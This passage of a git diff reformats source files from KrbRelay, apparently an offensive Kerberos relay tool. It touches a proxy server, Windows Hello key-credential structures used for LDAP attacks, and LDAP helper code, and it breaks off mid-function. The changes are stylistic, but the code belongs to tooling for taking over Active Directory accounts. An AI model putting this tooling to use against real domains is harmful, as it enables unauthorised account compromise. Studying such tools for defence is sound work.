- using (var server = new ProxyServer(targetUrl, string.Format("http://localhost:{0}/", port), string.Format("http://127.0.0.1:{0}/", port)))
+ using (
+ var server = new ProxyServer(
+ targetUrl,
+ string.Format("http://localhost:{0}/", port),
+ string.Format("http://127.0.0.1:{0}/", port)
+ )
+ )
{
server.httpClient = httpClient;
server.Start();
@@ -113,7 +121,12 @@ protected virtual async Task ProcessRequest(HttpListenerContext context)
throw new ArgumentNullException(nameof(context));
var url = TargetUrl.GetComponents(UriComponents.SchemeAndServer, UriFormat.Unescaped);
- using (var msg = new HttpRequestMessage(new HttpMethod(context.Request.HttpMethod), url + context.Request.RawUrl))
+ using (
+ var msg = new HttpRequestMessage(
+ new HttpMethod(context.Request.HttpMethod),
+ url + context.Request.RawUrl
+ )
+ )
{
msg.Version = context.Request.ProtocolVersion;
@@ -148,7 +161,10 @@ protected virtual async Task ProcessRequest(HttpListenerContext context)
break;
case "Referer":
- if (RewriteReferer && Uri.TryCreate(headerValue, UriKind.Absolute, out var referer)) // if relative, don't handle
+ if (
+ RewriteReferer
+ && Uri.TryCreate(headerValue, UriKind.Absolute, out var referer)
+ ) // if relative, don't handle
{
var builder = new UriBuilder(referer);
builder.Host = TargetUrl.Host;
@@ -186,7 +202,10 @@ protected virtual async Task ProcessRequest(HttpListenerContext context)
foreach (var header in response.Headers)
{
- context.Response.Headers.Add(header.Key, string.Join(", ", header.Value));
+ context.Response.Headers.Add(
+ header.Key,
+ string.Join(", ", header.Value)
+ );
}
foreach (var header in response.Content.Headers)
@@ -194,43 +213,74 @@ protected virtual async Task ProcessRequest(HttpListenerContext context)
if (header.Key == "Content-Length") // this will be set automatically at dispose time
continue;
- context.Response.Headers.Add(header.Key, string.Join(", ", header.Value));
+ context.Response.Headers.Add(
+ header.Key,
+ string.Join(", ", header.Value)
+ );
}
var ct = context.Response.ContentType;
- if (RewriteTargetInText && host != null && ct != null &&
- (ct.IndexOf("text/html", StringComparison.OrdinalIgnoreCase) >= 0 ||
- ct.IndexOf("application/json", StringComparison.OrdinalIgnoreCase) >= 0))
+ if (
+ RewriteTargetInText
+ && host != null
+ && ct != null
+ && (
+ ct.IndexOf("text/html", StringComparison.OrdinalIgnoreCase) >= 0
+ || ct.IndexOf(
+ "application/json",
+ StringComparison.OrdinalIgnoreCase
+ ) >= 0
+ )
+ )
{
using (var ms = new MemoryStream())
{
- using (var stream = await response.Content.ReadAsStreamAsync().ConfigureAwait(false))
+ using (
+ var stream = await response.Content
+ .ReadAsStreamAsync()
+ .ConfigureAwait(false)
+ )
{
await stream.CopyToAsync(ms).ConfigureAwait(false);
var enc = context.Response.ContentEncoding ?? Encoding.UTF8;
var html = enc.GetString(ms.ToArray());
- if (TryReplace(html, "//" + _targetHost + ":" + _targetPort + "/", "//" + host + "/", out var replaced))
+ if (
+ TryReplace(
+ html,
+ "//" + _targetHost + ":" + _targetPort + "/",
+ "//" + host + "/",
+ out var replaced
+ )
+ )
{
var bytes = enc.GetBytes(replaced);
using (var ms2 = new MemoryStream(bytes))
{
ms2.Position = 0;
- await ms2.CopyToAsync(context.Response.OutputStream).ConfigureAwait(false);
+ await ms2.CopyToAsync(context.Response.OutputStream)
+ .ConfigureAwait(false);
}
}
else
{
ms.Position = 0;
- await ms.CopyToAsync(context.Response.OutputStream).ConfigureAwait(false);
+ await ms.CopyToAsync(context.Response.OutputStream)
+ .ConfigureAwait(false);
}
}
}
}
else
{
- using (var stream = await response.Content.ReadAsStreamAsync().ConfigureAwait(false))
+ using (
+ var stream = await response.Content
+ .ReadAsStreamAsync()
+ .ConfigureAwait(false)
+ )
{
- await stream.CopyToAsync(context.Response.OutputStream).ConfigureAwait(false);
+ await stream
+ .CopyToAsync(context.Response.OutputStream)
+ .ConfigureAwait(false);
}
}
}
@@ -245,7 +295,12 @@ protected virtual async Task ProcessRequest(HttpListenerContext context)
public void Dispose() => ((IDisposable)_listener)?.Dispose();
// out-of-the-box replace doesn't tell if something *was* replaced or not
- private static bool TryReplace(string input, string oldValue, string newValue, out string result)
+ private static bool TryReplace(
+ string input,
+ string oldValue,
+ string newValue,
+ out string result
+ )
{
if (string.IsNullOrEmpty(input) || string.IsNullOrEmpty(oldValue))
{
@@ -313,4 +368,4 @@ private static bool TryReplace(string input, string oldValue, string newValue, o
return false;
}
}
-}
\ No newline at end of file
+}
diff --git a/KrbRelay/Clients/Attacks/Ldap/DSInternals.Common/Data/DNWithBinary.cs b/KrbRelay/Clients/Attacks/Ldap/DSInternals.Common/Data/DNWithBinary.cs
index f8433fd..43a0abf 100644
--- a/KrbRelay/Clients/Attacks/Ldap/DSInternals.Common/Data/DNWithBinary.cs
+++ b/KrbRelay/Clients/Attacks/Ldap/DSInternals.Common/Data/DNWithBinary.cs
@@ -14,17 +14,9 @@ public sealed class DNWithBinary
private const string StringFormatPrefix = "B:";
private const char StringFormatSeparator = ':';
- public string DistinguishedName
- {
- get;
- private set;
- }
+ public string DistinguishedName { get; private set; }
- public byte[] Binary
- {
- get;
- private set;
- }
+ public byte[] Binary { get; private set; }
public DNWithBinary(string dn, byte[] binary)
{
@@ -40,9 +32,17 @@ public static DNWithBinary Parse(string dnWithBinary)
Validator.AssertNotNullOrEmpty(dnWithBinary, nameof(dnWithBinary));
bool hasCorrectPrefix = dnWithBinary.StartsWith(StringFormatPrefix);
- int valueLeadingColonIndex = dnWithBinary.IndexOf(StringFormatSeparator, StringFormatPrefix.Length);
- int valueTrailingColonIndex = dnWithBinary.IndexOf(StringFormatSeparator, valueLeadingColonIndex + 1);
- bool has4Parts = valueLeadingColonIndex >= 3 && (valueLeadingColonIndex + 1) < valueTrailingColonIndex;
+ int valueLeadingColonIndex = dnWithBinary.IndexOf(
+ StringFormatSeparator,
+ StringFormatPrefix.Length
+ );
+ int valueTrailingColonIndex = dnWithBinary.IndexOf(
+ StringFormatSeparator,
+ valueLeadingColonIndex + 1
+ );
+ bool has4Parts =
+ valueLeadingColonIndex >= 3
+ && (valueLeadingColonIndex + 1) < valueTrailingColonIndex;
if (!hasCorrectPrefix || !has4Parts)
{
@@ -51,13 +51,21 @@ public static DNWithBinary Parse(string dnWithBinary)
}
string dn = dnWithBinary.Substring(valueTrailingColonIndex + 1);
- byte[] binary = dnWithBinary.HexToBinary(valueLeadingColonIndex + 1, valueTrailingColonIndex - valueLeadingColonIndex - 1);
+ byte[] binary = dnWithBinary.HexToBinary(
+ valueLeadingColonIndex + 1,
+ valueTrailingColonIndex - valueLeadingColonIndex - 1
+ );
return new DNWithBinary(dn, binary);
}
public override string ToString()
{
- return String.Format(StringFormat, this.Binary.Length * 2, this.Binary.ToHex(true), this.DistinguishedName);
+ return String.Format(
+ StringFormat,
+ this.Binary.Length * 2,
+ this.Binary.ToHex(true),
+ this.DistinguishedName
+ );
}
}
-}
\ No newline at end of file
+}
diff --git a/KrbRelay/Clients/Attacks/Ldap/DSInternals.Common/Data/Hello/CustomKeyInformation.cs b/KrbRelay/Clients/Attacks/Ldap/DSInternals.Common/Data/Hello/CustomKeyInformation.cs
index 07a9bab..5f10e64 100644
--- a/KrbRelay/Clients/Attacks/Ldap/DSInternals.Common/Data/Hello/CustomKeyInformation.cs
+++ b/KrbRelay/Clients/Attacks/Ldap/DSInternals.Common/Data/Hello/CustomKeyInformation.cs
@@ -13,72 +13,38 @@ public class CustomKeyInformation
private const int ShortRepresentationSize = sizeof(byte) + sizeof(KeyFlags); // Version + KeyFlags
private const int ReservedSize = 10 * sizeof(byte);
- public byte Version
- {
- get;
- private set;
- }
+ public byte Version { get; private set; }
- public KeyFlags Flags
- {
- get;
- private set;
- }
+ public KeyFlags Flags { get; private set; }
- public VolumeType? VolumeType
- {
- get;
- private set;
- }
+ public VolumeType? VolumeType { get; private set; }
///
/// Specifies whether the device associated with this credential supports notification.
///
- public bool? SupportsNotification
- {
- get;
- private set;
- }
+ public bool? SupportsNotification { get; private set; }
///
/// Specifies the version of the File Encryption Key (FEK).
///
- public byte? FekKeyVersion
- {
- get;
- private set;
- }
+ public byte? FekKeyVersion { get; private set; }
///
/// Specifies the strength of the NGC key.
///
- public KeyStrength? Strength
- {
- get;
- private set;
- }
+ public KeyStrength? Strength { get; private set; }
///
/// Reserved for future use.
///
- public byte[] Reserved
- {
- get;
- private set;
- }
+ public byte[] Reserved { get; private set; }
///
/// Extended custom key information.
///
- public byte[] EncodedExtendedCKI
- {
- get;
- private set;
- }
+ public byte[] EncodedExtendedCKI { get; private set; }
- public CustomKeyInformation() : this(KeyFlags.None)
- {
- }
+ public CustomKeyInformation() : this(KeyFlags.None) { }
public CustomKeyInformation(KeyFlags flags)
{
@@ -129,7 +95,10 @@ public CustomKeyInformation(byte[] blob)
{
// 10 bytes reserved for future use.
// Note: With FIDO, Azure incorrectly puts here 9 bytes instead of 10.
- int actualReservedSize = (int)Math.Min(ReservedSize, stream.Length - stream.Position);
+ int actualReservedSize = (int)Math.Min(
+ ReservedSize,
+ stream.Length - stream.Position
+ );
this.Reserved = new byte[actualReservedSize];
stream.Read(this.Reserved, 0, actualReservedSize);
}
@@ -183,4 +152,4 @@ public byte[] ToByteArray()
}
}
}
-}
\ No newline at end of file
+}
diff --git a/KrbRelay/Clients/Attacks/Ldap/DSInternals.Common/Data/Hello/KeyCredential.cs b/KrbRelay/Clients/Attacks/Ldap/DSInternals.Common/Data/Hello/KeyCredential.cs
index c6c087e..db0fa1c 100644
--- a/KrbRelay/Clients/Attacks/Ldap/DSInternals.Common/Data/Hello/KeyCredential.cs
+++ b/KrbRelay/Clients/Attacks/Ldap/DSInternals.Common/Data/Hello/KeyCredential.cs
@@ -29,11 +29,7 @@ public class KeyCredential
///
/// Defines the version of the structure.
///
- public KeyCredentialVersion Version
- {
- get;
- private set;
- }
+ public KeyCredentialVersion Version { get; private set; }
///
/// A SHA256 hash of the Value field of the RawKeyMaterial entry.
@@ -41,11 +37,7 @@ public KeyCredentialVersion Version
///
/// Version 1 keys had a guid in this field instead if a hash.
///
- public string Identifier
- {
- get;
- private set;
- }
+ public string Identifier { get; private set; }
public bool IsWeak
{
@@ -56,32 +48,16 @@ public bool IsWeak
}
}
- public KeyUsage Usage
- {
- get;
- private set;
- }
+ public KeyUsage Usage { get; private set; }
- public string LegacyUsage
- {
- get;
- private set;
- }
+ public string LegacyUsage { get; private set; }
- public KeySource Source
- {
- get;
- private set;
- }
+ public KeySource Source { get; private set; }
///
/// Key material of the credential.
///
- public byte[] RawKeyMaterial
- {
- get;
- private set;
- }
+ public byte[] RawKeyMaterial { get; private set; }
public RSAParameters? RSAPublicKey
{
@@ -128,35 +104,19 @@ public string RSAModulus
}
}
- public CustomKeyInformation CustomKeyInfo
- {
- get;
- private set;
- }
+ public CustomKeyInformation CustomKeyInfo { get; private set; }
- public Guid? DeviceId
- {
- get;
- private set;
- }
+ public Guid? DeviceId { get; private set; }
///
/// The approximate time this key was created.
///
- public DateTime CreationTime
- {
- get;
- private set;
- }
+ public DateTime CreationTime { get; private set; }
///
/// The approximate time this key was last used.
///
- public DateTime? LastLogonTime
- {
- get;
- private set;
- }
+ public DateTime? LastLogonTime { get; private set; }
///
/// Distinguished name of the AD object (UPN in case of AAD objects) that holds this key credential.
@@ -168,22 +128,42 @@ public string Owner
internal set;
}
- public KeyCredential(X509Certificate2 certificate, Guid? deviceId, string owner, DateTime? currentTime = null, bool isComputerKey = false)
+ public KeyCredential(
+ X509Certificate2 certificate,
+ Guid? deviceId,
+ string owner,
+ DateTime? currentTime = null,
+ bool isComputerKey = false
+ )
{
Validator.AssertNotNull(certificate, nameof(certificate));
// Computer NGC keys are DER-encoded, while user NGC keys are encoded as BCRYPT_RSAKEY_BLOB.
- byte[] publicKey = isComputerKey ? certificate.ExportRSAPublicKeyDER() : certificate.ExportRSAPublicKeyBCrypt();
+ byte[] publicKey = isComputerKey
+ ? certificate.ExportRSAPublicKeyDER()
+ : certificate.ExportRSAPublicKeyBCrypt();
this.Initialize(publicKey, deviceId, owner, currentTime, isComputerKey);
}
- public KeyCredential(byte[] publicKey, Guid? deviceId, string owner, DateTime? currentTime = null, bool isComputerKey = false)
+ public KeyCredential(
+ byte[] publicKey,
+ Guid? deviceId,
+ string owner,
+ DateTime? currentTime = null,
+ bool isComputerKey = false
+ )
{
Validator.AssertNotNull(publicKey, nameof(publicKey));
this.Initialize(publicKey, deviceId, owner, currentTime, isComputerKey);
}
- private void Initialize(byte[] publicKey, Guid? deviceId, string owner, DateTime? currentTime, bool isComputerKey)
+ private void Initialize(
+ byte[] publicKey,
+ Guid? deviceId,
+ string owner,
+ DateTime? currentTime,
+ bool isComputerKey
+ )
{
// Prodess owner DN/UPN
Validator.AssertNotNullOrEmpty(owner, nameof(owner));
@@ -192,7 +172,9 @@ private void Initialize(byte[] publicKey, Guid? deviceId, string owner, DateTime
// Initialize the Key Credential based on requirements stated in MS-KPP Processing Details:
this.Version = KeyCredentialVersion.Version2;
this.Identifier = ComputeKeyIdentifier(publicKey, this.Version);
- this.CreationTime = currentTime.HasValue ? currentTime.Value.ToUniversalTime() : DateTime.UtcNow;
+ this.CreationTime = currentTime.HasValue
+ ? currentTime.Value.ToUniversalTime()
+ : DateTime.UtcNow;
this.RawKeyMaterial = publicKey;
this.Usage = KeyUsage.NGC;
this.Source = KeySource.AD;
@@ -232,7 +214,8 @@ public KeyCredential(byte[] blob, string owner)
ushort length = reader.ReadUInt16();
// An 8-bit unsigned integer that specifies the type of data that is stored in the Value field.
- KeyCredentialEntryType entryType = (KeyCredentialEntryType)reader.ReadByte();
+ KeyCredentialEntryType entryType =
+ (KeyCredentialEntryType)reader.ReadByte();
// A series of bytes whose size and meaning are defined by the Identifier field.
byte[] value = reader.ReadBytes(length);
@@ -285,11 +268,19 @@ public KeyCredential(byte[] blob, string owner)
break;
case KeyCredentialEntryType.KeyApproximateLastLogonTimeStamp:
- this.LastLogonTime = ConvertFromBinaryTime(value, this.Source, this.Version);
+ this.LastLogonTime = ConvertFromBinaryTime(
+ value,
+ this.Source,
+ this.Version
+ );
break;
case KeyCredentialEntryType.KeyCreationTime:
- this.CreationTime = ConvertFromBinaryTime(value, this.Source, this.Version);
+ this.CreationTime = ConvertFromBinaryTime(
+ value,
+ this.Source,
+ this.Version
+ );
break;
default:
@@ -318,7 +309,8 @@ public override string ToString()
this.Source,
this.Version,
this.Usage,
- this.CreationTime);
+ this.CreationTime
+ );
}
public byte[] ToByteArray()
@@ -367,14 +359,24 @@ public byte[] ToByteArray()
// Last Logon Time
if (this.LastLogonTime.HasValue)
{
- byte[] binaryLastLogonTime = ConvertToBinaryTime(this.LastLogonTime.Value, this.Source, this.Version);
+ byte[] binaryLastLogonTime = ConvertToBinaryTime(
+ this.LastLogonTime.Value,
+ this.Source,
+ this.Version
+ );
propertyWriter.Write((ushort)binaryLastLogonTime.Length);
- propertyWriter.Write((byte)KeyCredentialEntryType.KeyApproximateLastLogonTimeStamp);
+ propertyWriter.Write(
+ (byte)KeyCredentialEntryType.KeyApproximateLastLogonTimeStamp
+ );
propertyWriter.Write(binaryLastLogonTime);
}
// Creation Time
- byte[] binaryCreationTime = ConvertToBinaryTime(this.CreationTime, this.Source, this.Version);
+ byte[] binaryCreationTime = ConvertToBinaryTime(
+ this.CreationTime,
+ this.Source,
+ this.Version
+ );
propertyWriter.Write((ushort)binaryCreationTime.Length);
propertyWriter.Write((byte)KeyCredentialEntryType.KeyCreationTime);
propertyWriter.Write(binaryCreationTime);
@@ -421,7 +423,11 @@ public static KeyCredential ParseDNBinary(string dnWithBinary)
return new KeyCredential(parsed.Binary, parsed.DistinguishedName);
}
- private static DateTime ConvertFromBinaryTime(byte[] binaryTime, KeySource source, KeyCredentialVersion version)
+ private static DateTime ConvertFromBinaryTime(
+ byte[] binaryTime,
+ KeySource source,
+ KeyCredentialVersion version
+ )
{
long timeStamp = BitConverter.ToInt64(binaryTime, 0);
@@ -436,11 +442,17 @@ private static DateTime ConvertFromBinaryTime(byte[] binaryTime, KeySource sourc
case KeyCredentialVersion.Version2:
default:
- return source == KeySource.AD ? DateTime.FromFileTime(timeStamp) : DateTime.FromBinary(timeStamp);
+ return source == KeySource.AD
+ ? DateTime.FromFileTime(timeStamp)
+ : DateTime.FromBinary(timeStamp);
}
}
- private static byte[] ConvertToBinaryTime(DateTime time, KeySource source, KeyCredentialVersion version)
+ private static byte[] ConvertToBinaryTime(
+ DateTime time,
+ KeySource source,
+ KeyCredentialVersion version
+ )
{
long timeStamp;
switch (version)
@@ -476,7 +488,10 @@ private static string ComputeKeyIdentifier(byte[] keyMaterial, KeyCredentialVers
return ConvertFromBinaryIdentifier(binaryId, version);
}
- private static string ConvertFromBinaryIdentifier(byte[] binaryId, KeyCredentialVersion version)
+ private static string ConvertFromBinaryIdentifier(
+ byte[] binaryId,
+ KeyCredentialVersion version
+ )
{
switch (version)
{
@@ -490,7 +505,10 @@ private static string ConvertFromBinaryIdentifier(byte[] binaryId, KeyCredential
}
}
- private static byte[] ConvertToBinaryIdentifier(string keyIdentifier, KeyCredentialVersion version)
+ private static byte[] ConvertToBinaryIdentifier(
+ string keyIdentifier,
+ KeyCredentialVersion version
+ )
{
switch (version)
{
@@ -504,4 +522,4 @@ private static byte[] ConvertToBinaryIdentifier(string keyIdentifier, KeyCredent
}
}
}
-}
\ No newline at end of file
+}
diff --git a/KrbRelay/Clients/Attacks/Ldap/DSInternals.Common/Data/Hello/KeyCredentialEntryType.cs b/KrbRelay/Clients/Attacks/Ldap/DSInternals.Common/Data/Hello/KeyCredentialEntryType.cs
index 20c4503..98fb068 100644
--- a/KrbRelay/Clients/Attacks/Ldap/DSInternals.Common/Data/Hello/KeyCredentialEntryType.cs
+++ b/KrbRelay/Clients/Attacks/Ldap/DSInternals.Common/Data/Hello/KeyCredentialEntryType.cs
@@ -52,4 +52,4 @@ public enum KeyCredentialEntryType : byte
///
KeyCreationTime = 0x09
}
-}
\ No newline at end of file
+}
diff --git a/KrbRelay/Clients/Attacks/Ldap/DSInternals.Common/Data/Hello/KeyCredentialVersion.cs b/KrbRelay/Clients/Attacks/Ldap/DSInternals.Common/Data/Hello/KeyCredentialVersion.cs
index 27e2c13..6ff92b0 100644
--- a/KrbRelay/Clients/Attacks/Ldap/DSInternals.Common/Data/Hello/KeyCredentialVersion.cs
+++ b/KrbRelay/Clients/Attacks/Ldap/DSInternals.Common/Data/Hello/KeyCredentialVersion.cs
@@ -10,4 +10,4 @@ public enum KeyCredentialVersion : uint
Version1 = 0x00000100,
Version2 = 0x00000200,
}
-}
\ No newline at end of file
+}
diff --git a/KrbRelay/Clients/Attacks/Ldap/DSInternals.Common/Data/Hello/KeyFlags.cs b/KrbRelay/Clients/Attacks/Ldap/DSInternals.Common/Data/Hello/KeyFlags.cs
index c4ec63a..ff75566 100644
--- a/KrbRelay/Clients/Attacks/Ldap/DSInternals.Common/Data/Hello/KeyFlags.cs
+++ b/KrbRelay/Clients/Attacks/Ldap/DSInternals.Common/Data/Hello/KeyFlags.cs
@@ -24,4 +24,4 @@ public enum KeyFlags : byte
///
MFANotUsed = 0x02,
}
-}
\ No newline at end of file
+}
diff --git a/KrbRelay/Clients/Attacks/Ldap/DSInternals.Common/Data/Hello/KeySource.cs b/KrbRelay/Clients/Attacks/Ldap/DSInternals.Common/Data/Hello/KeySource.cs
index 1370d22..a9c2f92 100644
--- a/KrbRelay/Clients/Attacks/Ldap/DSInternals.Common/Data/Hello/KeySource.cs
+++ b/KrbRelay/Clients/Attacks/Ldap/DSInternals.Common/Data/Hello/KeySource.cs
@@ -16,4 +16,4 @@ public enum KeySource : byte
///
AzureAD = 0x01
}
-}
\ No newline at end of file
+}
diff --git a/KrbRelay/Clients/Attacks/Ldap/DSInternals.Common/Data/Hello/KeyStrength.cs b/KrbRelay/Clients/Attacks/Ldap/DSInternals.Common/Data/Hello/KeyStrength.cs
index 0b3ff10..f030116 100644
--- a/KrbRelay/Clients/Attacks/Ldap/DSInternals.Common/Data/Hello/KeyStrength.cs
+++ b/KrbRelay/Clients/Attacks/Ldap/DSInternals.Common/Data/Hello/KeyStrength.cs
@@ -21,4 +21,4 @@ public enum KeyStrength : byte
///
Normal = 0x02
}
-}
\ No newline at end of file
+}
diff --git a/KrbRelay/Clients/Attacks/Ldap/DSInternals.Common/Data/Hello/KeyUsage.cs b/KrbRelay/Clients/Attacks/Ldap/DSInternals.Common/Data/Hello/KeyUsage.cs
index e30e624..28b07dd 100644
--- a/KrbRelay/Clients/Attacks/Ldap/DSInternals.Common/Data/Hello/KeyUsage.cs
+++ b/KrbRelay/Clients/Attacks/Ldap/DSInternals.Common/Data/Hello/KeyUsage.cs
@@ -44,4 +44,4 @@ public enum KeyUsage : byte
///
DPAPI // TODO: The DPAPI enum needs to be mapped to a proper integer value.
}
-}
\ No newline at end of file
+}
diff --git a/KrbRelay/Clients/Attacks/Ldap/DSInternals.Common/Data/Hello/VolumeType.cs b/KrbRelay/Clients/Attacks/Ldap/DSInternals.Common/Data/Hello/VolumeType.cs
index 27f1612..57e6a7d 100644
--- a/KrbRelay/Clients/Attacks/Ldap/DSInternals.Common/Data/Hello/VolumeType.cs
+++ b/KrbRelay/Clients/Attacks/Ldap/DSInternals.Common/Data/Hello/VolumeType.cs
@@ -26,4 +26,4 @@ public enum VolumeType : byte
///
Removable = 0x03
}
-}
\ No newline at end of file
+}
diff --git a/KrbRelay/Clients/Attacks/Ldap/DSInternals.Common/Extensions/ByteArrayExtensions.cs b/KrbRelay/Clients/Attacks/Ldap/DSInternals.Common/Extensions/ByteArrayExtensions.cs
index f111a5c..c068947 100644
--- a/KrbRelay/Clients/Attacks/Ldap/DSInternals.Common/Extensions/ByteArrayExtensions.cs
+++ b/KrbRelay/Clients/Attacks/Ldap/DSInternals.Common/Extensions/ByteArrayExtensions.cs
@@ -44,7 +44,11 @@ public static byte[] HexToBinary(this string hex, int startIndex, int length)
byte[] bytes = new byte[length / 2];
// Perform the conversion
- for (int nibbleIndex = 0, byteIndex = 0; nibbleIndex < length; byteIndex = ++nibbleIndex / 2)
+ for (
+ int nibbleIndex = 0, byteIndex = 0;
+ nibbleIndex < length;
+ byteIndex = ++nibbleIndex / 2
+ )
{
char nibble = hex[startIndex + nibbleIndex];
@@ -63,7 +67,10 @@ public static byte[] HexToBinary(this string hex, int startIndex, int length)
else
{
// Invalid digit
- var exception = new ArgumentException(Resources.NotHexStringMessage, nameof(hex));
+ var exception = new ArgumentException(
+ Resources.NotHexStringMessage,
+ nameof(hex)
+ );
exception.Data.Add("Value", hex);
throw exception;
}
@@ -185,7 +192,10 @@ public static Guid ToGuidBigEndian(this byte[] bytes)
return new Guid(bytes);
}
- public static SecurityIdentifier ToSecurityIdentifier(this byte[] binarySid, bool bigEndianRid = false)
+ public static SecurityIdentifier ToSecurityIdentifier(
+ this byte[] binarySid,
+ bool bigEndianRid = false
+ )
{
if (binarySid == null)
{
@@ -233,4 +243,4 @@ public static byte[] ReadToEnd(this MemoryStream stream)
return buffer;
}
}
-}
\ No newline at end of file
+}
diff --git a/KrbRelay/Clients/Attacks/Ldap/DSInternals.Common/Extensions/RSAExtensions.cs b/KrbRelay/Clients/Attacks/Ldap/DSInternals.Common/Extensions/RSAExtensions.cs
index bce418f..776587b 100644
--- a/KrbRelay/Clients/Attacks/Ldap/DSInternals.Common/Extensions/RSAExtensions.cs
+++ b/KrbRelay/Clients/Attacks/Ldap/DSInternals.Common/Extensions/RSAExtensions.cs
@@ -16,7 +16,10 @@ public static class RSAExtensions
///
/// OID 1.2.840.113549.1.1.1 - Identifier for RSA encryption for use with Public Key Cryptosystem One defined by RSA Inc.
///
- private static readonly Oid RsaOid = Oid.FromFriendlyName("RSA", OidGroup.PublicKeyAlgorithm);
+ private static readonly Oid RsaOid = Oid.FromFriendlyName(
+ "RSA",
+ OidGroup.PublicKeyAlgorithm
+ );
///
/// ASN.1 Tag NULL
@@ -26,7 +29,9 @@ public static class RSAExtensions
///
/// BCRYPT_PUBLIC_KEY_BLOB Format
///
- private static readonly CngKeyBlobFormat BCryptRSAPublicKeyFormat = new CngKeyBlobFormat("RSAPUBLICBLOB");
+ private static readonly CngKeyBlobFormat BCryptRSAPublicKeyFormat = new CngKeyBlobFormat(
+ "RSAPUBLICBLOB"
+ );
///
/// Converts a RSA public key to BCRYPT_RSAKEY_BLOB.
@@ -39,7 +44,7 @@ public static byte[] ExportRSAPublicKeyBCrypt(this X509Certificate2 certificate)
using (var rsa = (RSACng)certificate.GetRSAPublicKey())
{
- using(var key = rsa.Key)
+ using (var key = rsa.Key)
{
//Console.WriteLine(KrbRelay.Helpers.ByteArrayToString(key.Export(BCryptRSAPublicKeyFormat)));
return key.Export(BCryptRSAPublicKeyFormat);
@@ -137,4 +142,4 @@ public static bool IsWeakKey(this RSAParameters publicKey)
return false;
}
}
-}
\ No newline at end of file
+}
diff --git a/KrbRelay/Clients/Attacks/Ldap/DSInternals.Common/Validator.cs b/KrbRelay/Clients/Attacks/Ldap/DSInternals.Common/Validator.cs
index d55856f..266fe19 100644
--- a/KrbRelay/Clients/Attacks/Ldap/DSInternals.Common/Validator.cs
+++ b/KrbRelay/Clients/Attacks/Ldap/DSInternals.Common/Validator.cs
@@ -11,7 +11,11 @@ public static void AssertEquals(string expectedValue, string actualValue, string
{
if (!String.Equals(expectedValue, actualValue, StringComparison.InvariantCulture))
{
- string message = String.Format(Resources.UnexpectedValueMessage, actualValue, expectedValue);
+ string message = String.Format(
+ Resources.UnexpectedValueMessage,
+ actualValue,
+ expectedValue
+ );
throw new ArgumentException(message, paramName);
}
}
@@ -20,7 +24,11 @@ public static void AssertEquals(char expectedValue, char actualValue, string par
{
if (expectedValue.CompareTo(actualValue) != 0)
{
- string message = String.Format(Resources.UnexpectedValueMessage, actualValue, expectedValue);
+ string message = String.Format(
+ Resources.UnexpectedValueMessage,
+ actualValue,
+ expectedValue
+ );
throw new ArgumentException(message, paramName);
}
}
@@ -54,7 +62,11 @@ public static void AssertLength(string value, int length, string paramName)
AssertNotNull(value, paramName);
if (value.Length != length)
{
- throw new ArgumentOutOfRangeException(paramName, value.Length, Resources.UnexpectedLengthMessage);
+ throw new ArgumentOutOfRangeException(
+ paramName,
+ value.Length,
+ Resources.UnexpectedLengthMessage
+ );
}
}
@@ -63,7 +75,11 @@ public static void AssertMaxLength(SecureString password, int maxLength, string
AssertNotNull(password, paramName);
if (password.Length > maxLength)
{
- throw new ArgumentOutOfRangeException(paramName, password.Length, Resources.InputLongerThanMaxMessage);
+ throw new ArgumentOutOfRangeException(
+ paramName,
+ password.Length,
+ Resources.InputLongerThanMaxMessage
+ );
}
}
@@ -72,7 +88,11 @@ public static void AssertMaxLength(string input, int maxLength, string paramName
AssertNotNull(input, paramName);
if (input.Length > maxLength)
{
- throw new ArgumentOutOfRangeException(paramName, input.Length, Resources.InputLongerThanMaxMessage);
+ throw new ArgumentOutOfRangeException(
+ paramName,
+ input.Length,
+ Resources.InputLongerThanMaxMessage
+ );
}
}
@@ -81,7 +101,11 @@ public static void AssertMinLength(byte[] data, int minLength, string paramName)
AssertNotNull(data, paramName);
if (data.Length < minLength)
{
- var exception = new ArgumentOutOfRangeException(paramName, data.Length, Resources.InputShorterThanMinMessage);
+ var exception = new ArgumentOutOfRangeException(
+ paramName,
+ data.Length,
+ Resources.InputShorterThanMinMessage
+ );
// DEBUG: exception.Data.Add("BinaryBlob", data.ToHex());
throw exception;
}
@@ -92,7 +116,11 @@ public static void AssertLength(byte[] value, long length, string paramName)
AssertNotNull(value, paramName);
if (value.Length != length)
{
- throw new ArgumentOutOfRangeException(paramName, value.Length, Resources.UnexpectedLengthMessage);
+ throw new ArgumentOutOfRangeException(
+ paramName,
+ value.Length,
+ Resources.UnexpectedLengthMessage
+ );
}
}
@@ -114,4 +142,4 @@ public static void AssertDirectoryExists(string directoryPath)
}
}
}
-}
\ No newline at end of file
+}
diff --git a/KrbRelay/Clients/Attacks/Ldap/Generic.cs b/KrbRelay/Clients/Attacks/Ldap/Generic.cs
index dae446d..200a4bd 100644
--- a/KrbRelay/Clients/Attacks/Ldap/Generic.cs
+++ b/KrbRelay/Clients/Attacks/Ldap/Generic.cs
@@ -3,96 +3,154 @@
using System.Linq;
using System.Runtime.InteropServices;
using System.Text;
-using static KrbRelay.Natives;
namespace KrbRelay.Clients.Attacks.Ldap
{
internal class Generic
{
- public static Dictionary> GetLdapAttributes(IntPtr ld, IntPtr entry, ref IntPtr ber)
+ private static string DecodeASCIIOrUnicode(IntPtr ptr)
{
- Dictionary> list = new Dictionary>();
- for (var attr = ldap_first_attribute(ld, entry, ref ber);
- attr != IntPtr.Zero;
- attr = ldap_next_attribute(ld, entry, ber))
+ if (Marshal.ReadByte(ptr + 1) == 0x00)
{
- var vals = ldap_get_values_len(ld, entry, attr);
- if (vals != IntPtr.Zero)
- {
- var attrName = Marshal.PtrToStringUni(attr);
- if (attrName != null)
- {
- list.Add(
- attrName,
- Helpers.BerValArrayToByteArrays(vals)
- );
- }
- ldap_value_free_len(vals);
- }
+ return Marshal.PtrToStringUni(ptr);
+ }
+ else
+ {
+ return Marshal.PtrToStringAnsi(ptr);
}
- return list;
}
- public static string GetLdapDn(IntPtr ld, IntPtr entry)
+ private static string DecodeASCIIOrUnicode(byte[] bytes)
{
- var ptr = ldap_get_dn(ld, entry);
- var dn = Marshal.PtrToStringUni(ptr);
- return dn;
+ if (bytes[1] == 0x00)
+ {
+ return Encoding.Unicode.GetString(bytes);
+ }
+ else
+ {
+ return Encoding.ASCII.GetString(bytes);
+ }
}
- public static LdapStatus setAttribute(IntPtr ld, string attribute, byte[] value, string dn)
+ public static string GetDistinguishedName(IntPtr ld, IntPtr entry)
{
- var modPropPtr = Marshal.StringToHGlobalUni(attribute);
- var modValue = new List {
- value
